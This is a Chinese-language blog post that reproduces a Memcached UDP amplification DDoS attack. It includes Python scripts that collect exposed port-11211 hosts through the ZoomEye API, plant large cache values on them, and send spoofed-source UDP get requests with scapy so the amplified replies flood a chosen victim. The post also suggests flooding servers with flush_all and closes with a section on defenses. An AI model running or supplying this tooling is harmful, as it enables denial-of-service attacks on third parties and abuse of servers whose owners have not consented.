1. 程式人生 > >DDOS核彈攻擊--Memcached放大攻擊復現

DDOS核彈攻擊--Memcached放大攻擊復現

情景:當有一個Request過來後,Web伺服器交給APP伺服器,APP處理並從Database中存取相關資料,但Database存取的花費是相當高昂的。特別是每次都取相同的資料,等於是讓資料庫每次都在做高耗費的無用功。如果APP拿到第一次資料並存到記憶體裡,下次讀取時直接從記憶體裡讀取,而不用麻煩資料庫,並且從記憶體取資料必然要比從資料庫媒介取快很多倍,反而提升了應用程式的效能。Memcached應運而生

一、什麼是Memcached?

        Memcached 是一個高效能的分散式記憶體物件快取系統,用於動態Web應用以減輕資料庫負載。它通過在記憶體中快取資料和物件來減少讀取資料庫的次數,從而提高動態、資料庫驅動網站的速度。

二、Memcached服務原理:

        Memcache伺服器工作機制是在記憶體中開闢一塊空間,然後建立一個基於一個儲存鍵/值對的hashmap。客戶端通過對key的雜湊演算法確定鍵值對所處的伺服器位置,進行查詢請求,讓它來查詢。如果請求的資源是第一次載入被訪問,則將在伺服器儲存(key,value)對和請求的資源並回復,在以後的請求中只需要匹配key即可回覆。

三、Memcached伺服器的安裝和啟動

        安裝:在Linux系統中安裝:sudo apt-get install memcached

        啟動:(1)service memcached start

                (2)memcached [options] 方式啟動

                                          options:-p TCP監聽的埠,預設11211
                                                          -U UDP監聽的埠,-U 0 禁用UDP服務,預設11211
                                                          -l 監聽的ip地址, 預設是ADDR_ANY,所有的ip都可以訪問
                                                          -d start 啟動memcached服務
                                                          -d restart 重起memcached服務
                                                          -d stop|shutdown 關閉正在執行的memcached服務
                                                          -d install 安裝memcached服務
                                                          -d uninstall 解除安裝memcached服務
                                                          -u 以的身份執行 (僅在以root執行的時候有效)
                                                          -m 最大記憶體使用,單位MB。預設64MB
                                                          -M 記憶體耗盡時返回錯誤,而不是刪除項
                                                          -c 最大同時連線數,預設是1024
                                                          -f 塊大小增長因子,預設是1.25-n 最小分配空間,key+value+flags預設是48
                                                          -h 顯示幫助

        注意事項:該漏洞是利用UDP轉發資料,當你開啟服務時最好用netstat -pantu | grep 11211 檢視11211埠上是否有兩個程序服務一個UDP另一個TCP的服務。在實驗中經常發現用service memcached stop啟動時,預設開啟兩條TCP服務,實驗不能成功,建議用memcached -p 11211 -U 11211 開啟服務,如果不能重複幾次。

四、管理Memcached伺服器儲存內容

        (1)通過登陸伺服器的方式。當你啟動Memcached伺服器後,可以通過客戶端連結埠的方式來訪問:telnet 127.0.0.1 11211,這裡有一些伺服器命令可以幫助你操作memcached伺服器儲存的(key,value)對以及清空伺服器中的快取資料。

                                get     返回Key對應的Value值
                                add      新增一個Key值,沒有則新增成功並提示STORED,有則失敗並提示NOT_STORED
                                set       無條件地設定一個Key值,沒有就增加,有就覆蓋,操作成功提示STORED
                                replace      按照相應的Key值替換資料,如果Key值不存在則會操作失敗
                                stats     返回MemCache通用統計資訊(下面有詳細解讀)
                                stats items     返回各個slab中item的數目和最老的item的年齡(最後一次訪問距離現在的秒數)
                                stats slabs     返回MemCache執行期間建立的每個slab的資訊(下面有詳細解讀)
                                version     返回當前MemCache版本號
                                flush_all     清空所有鍵值,但不會刪除items,所以此時MemCache依舊佔用記憶體


        (2)通過程式設計庫函式。當然Memcached也提供了各種語言的庫函式方便操作伺服器資料,你可以通過程式設計的方式來訪問伺服器並執行響應的命令,只不過命令的操作變成了各種函式呼叫。例如python中可以匯入from pymemcache.client.hash import Client/HashClient來實現與伺服器互動

        (3)通過偽造請求。伺服器的各種操作可以通過傳送特定的資料包,資料包的內容包含各種對伺服器的操作命令來實現對伺服器的內容儲存。下面將主要利用這種方式來實現攻擊。

五、UDP漏洞原理分析:

        該漏洞產生的原因簡單來時就是伺服器配置漏洞,Memcached伺服器預設開啟TCP和DUP監聽11211埠,並且監聽任意IP地址訪問。當攻擊者偽造源IP進行資料訪問時,伺服器將請求找到對應的快取的資料通過UDP資料包的格式傳送出去,由於UDP的不可靠性,導致了放大攻擊。

六、攻擊步驟:

        (1)首先我們先通過正常的訪問,在伺服器上設定較大的value,這裡我們通過程式設計的方式來實現,選用TCP協議,應為TCP不但可靠,重要的一點是沒有資料長度的限制,UDP資料包在傳送的時候預設最大能send 64K的資料,因此選擇使用TCP協議。

        (2)通過偽造源IP的方式對伺服器傳送資料請求,這樣伺服器傳送較大的資料到我們到攻擊的目標主機上了。

    注意事項:Memcached伺服器最大的單個key對應的資料大小為1M,因此設定過大的資料將導致失敗,本人在區域網實驗成功過900K的,如果在設定資料時返回超時請檢查:伺服器埠是否開啟成功最好用nmap掃描一下,其次可以先設定較小的資料測試一下,較大的資料及其容易導致超時。

        在設定資料之後:


七、整合化工具編寫:

        (1)首先我們可以在網際網路上搜索開放11211埠的主機。這裡用的是ZoomEye對應的API,該原始碼來自http://www.open-open.com/lib/view/open1459334554120.html, 經過稍微修改,就可以發現網路部分開放11211埠的主機。

# coding: utf-8

import os
import requests
import json

access_token = ''

ip_list = []


def login():
    """
        輸入使用者米密碼 進行登入操作
    :return: 訪問口令 access_token
    """
    user = raw_input('[-] input : username :')

    passwd = raw_input('[-] input : password :')

    data = {
        'username': user,
        'password': passwd
            }

    data_encoded = json.dumps(data)  # dumps 將 python 物件轉換成 json 字串

    try:

        r = requests.post(url='http://api.zoomeye.org/user/login', data=data_encoded)

        r_decoded = json.loads(r.text)  # loads() 將 json 字串轉換成 python 物件

        global access_token

        access_token = r_decoded['access_token']

    except Exception, e:

        print '[-] info : username or password is wrong, please try again '

        exit()


def saveStrToFile(file, str):
    """
        將字串寫如檔案中
    :return:
    """
    with open(file, 'w') as output:

        output.write(str)


def saveListToFile(file, list):
    """
        將列表逐行寫如檔案中
    :return:
    """
    s = '\n'.join(list)

    with open(file, 'w') as output:

        output.write(s)


def apiTest():
    """
        進行 api 使用測試
    :return:
    """
    page = 1

    global access_token

    with open('access_token.txt', 'r') as input:

        access_token = input.read()
    # 將 token 格式化並新增到 HTTP Header 中
    headers = {
        'Authorization': 'JWT ' + access_token,
             }

    # print headers
    while (True):

        try:

            r = requests.get(url='http://api.zoomeye.org/host/search?query="port:11211"&facet=app,os&page=' + str(page),
                             headers=headers)

            r_decoded = json.loads(r.text)

            # print r_decoded
            # print r_decoded['total']

            for x in r_decoded['matches']:

                print x['ip']

                ip_list.append(x['ip'])

            print '[-] info : count ' + str(page * 10)

        except Exception, e:
            # 若搜尋請求超過 API 允許的最大條目限制 或者 全部搜尋結束,則終止請求
            if str(e.message) == 'matches':

                print '[-] info : account was break, excceeding the max limitations'

                break
            else:

                print  '[-] info : ' + str(e.message)

        else:

            if page == 20:

                break

            page += 1


def main():
    # 訪問口令檔案不存在則進行登入操作

    if not os.path.isfile('access_token.txt'):

        print '[-] info : access_token file is not exist, please login'

    login()

    saveStrToFile('access_token.txt', access_token)

    apiTest()

    saveListToFile('ip_list.txt', ip_list)


if __name__ == '__main__':

    main()

        (2)測試主機是否有漏洞,我們可以先發送一個TCP set一下資料,通過傳送UDP get請求判斷是否存在漏洞。

針對TCP set的指令碼:

# coding: utf-8

import socket
import os
import threading

# 讀取ip_list 傳送tcp set
#   成功 儲存 set_list.txt

def TCP_set(IP,port,var_name,path):

    # 建立socket連結
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    client.settimeout(10.0)

    try:

        client.connect((IP, int(port)))

    except Exception,e:

        print(IP + "  --------  is fail")

        return

    # 得到length欄位
    length = os.path.getsize(path)

    with open(path, 'r') as file:

        string = file.read()

    # 傳送的內容
    data = "set "+var_name+" 1 0 "+str(length)+"\r\n"+string+"\r\n\r\n\r\n\r\n\r\n"

    client.send(data)

    # 超時
    try:

        data = client.recv(1024)

    except:

        print("  --------  is fail ")

        return

    else:

        if "STORED" in data:
             with open('set_list.txt','w') as outfile:

                outfile.write(IP+'\n')

        print ( IP+"--------is ok ")

    finally:

        client.close()


def Set():

    path=raw_input('input the path of target Ip file:')

    var_name = raw_input('input the var_name:')

    payload = raw_input('input the path of payload file:')

    port = raw_input('input the target port:')


    with open(path,'r') as ips:

        for ip in ips:

            ip = ip.strip('\n')
	    print ip
            thread = threading.Thread(target=TCP_set, args=(ip,port,var_name,payload))

            thread.start()

def main():
    Set()

if __name__ == '__main__':
    main()

針對UDP判斷時是否存在漏洞和偽造源IP進行DDOS(判斷是否存在漏洞只需要將目標IP設定成自己的即可):

#!/usr/bin/python
# coding=utf-8

from scapy.all import *
import threading

screenLock = threading.Semaphore(value=1)

global Count
Count = 0


def UDP_get(target_host, target_port, var_name, src_ip, src_port, count_page):
    global Count

    if Count >= count_page:
        print('Atrack is end!')

        exit(0)

    data = "\x00\x00\x00\x00\x00\x01\x00\x00get " + var_name + "\r\n"

    pkt = scapy.all.IP(dst=target_host, src=src_ip) / scapy.all.UDP(sport=src_port, dport=target_port) / data

    send(pkt, inter=1, count=1)

    screenLock.acquire()

    Count = Count + 1

    # print("[+] Sending the "+'%d' %Count+" UDP pages")

    if Count >= count_page:
        print('Atrack is end!')

        exit(0)

    screenLock.release()


def UDP_Attrack(target_host, target_port, var_name, src_ip, src_port, count, count_page):
    global Count
    while (Count <= count_page):

        for i in range(count):
            # UDP_get(target_host,target_port,var_name,src_ip,src_port)

            th = threading.Thread(target=UDP_get,
                                  args=(target_host, target_port, var_name, src_ip, src_port, count_page))

            th.start()


def main():
  
    target_host = raw_input("target service host:")

    
    target_port = raw_input("target service port:")

   
    var_name = raw_input("the key name:")

    
    src_ip = raw_input("the attrack host:")

    
    src_port = raw_input("the attrack port:")

    Thread_count = raw_input("the Count of Threading:")
    

    Count_page = raw_input("the Count of page:")
   

    UDP_Attrack(target_host, int(target_port), var_name, src_ip, int(src_port), int(Thread_count), int(Count_page))


        (3)對存在漏洞的主機偽造源IP實現DDOS。

        注意事項:這裡使用scapy偽造UDP請求判斷是否存在漏洞時,需要對接收到的資料進行判斷,因為程式碼裡有些許錯誤,一直沒有改正,這裡就給大家提供些思路,同時Scapy在Windows上Python 2.7的環境下不能安裝,在Linux上執行出現好多問題,optparse模組也一直不能執行,這裡只能用raw_input代替。

攻擊成果展示:


八、Memcached伺服器針對DDOS的防禦策略:

        (1)設定訪問控制規則:白名單
            利用防火牆控制對訪問ip的限制,只允許白名單內的ip進行埠訪問,在Linux環境中執行命令iptables -A INPUT -p tcp -s 192.168.0.2 —dport 11211 -j ACCEPT,在iptables中新增此規則只允許192.168.0.2這個IP對11211埠進行訪問。

        (2)修改預設埠
            修改預設11211監聽埠為11222埠。在Linux環境中執行以下命令:memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

        (3)URPF(Unicast Reverse Path Forwarding,單播逆向路徑轉發)
            主要功能是用於方式基於源地址欺騙的網路攻擊行為。路由器介面一旦是使用URPF功能,當該介面受到資料報文時,首先會對資料報文的源地址進行合法性檢查,對於源地址合法性通過的報文,才會進行進一步去找往目的地的地址進行轉發,進行報文轉發流程,否則將丟棄報文。

        (4)啟動認證功能

            Memcached本身沒有做驗證訪問模組,但是從Memcached1.4.3版本開始,能支援SASL認證。

        (5)禁用UDP轉發功能

            在開啟伺服器時,加上-U 0 禁止UDP埠的開放,即可實現被別人利用。

九、補充:

        (1)Memcached伺服器DDOS漏洞主要時利用了UDP的不可靠性,無法對源IP進行識別。與之相類似的就時DNS,DNS伺服器也經常被當作發達攻擊的跳板,但是放大的備註只能時2-5倍,原因就是DNS傳送資料時首先採用UDP,攻擊者就是利用了這個原理,才能進行放大攻擊。但是卻不能像memcached放大50000多倍,原因是DNS發現將要傳送的資料過大時,將採用TCP傳送,這樣能杜絕IP欺騙,我認為Memcached也可以採用類似反應機制實現自身安全。

        (2)在學習的過程中發現在操作Memcached服務命令中的flush_all命令也可能存在安全隱患,該命令是清空伺服器快取,如果攻擊者一直偽造傳送該指令的資料包,將嚴重影響動態WEB網站資源的載入速度,讀寫過多可能會嚴重影響硬體本身的功能。

                本人安全小白,Python新手希望大佬們給出改進意見,不勝感激!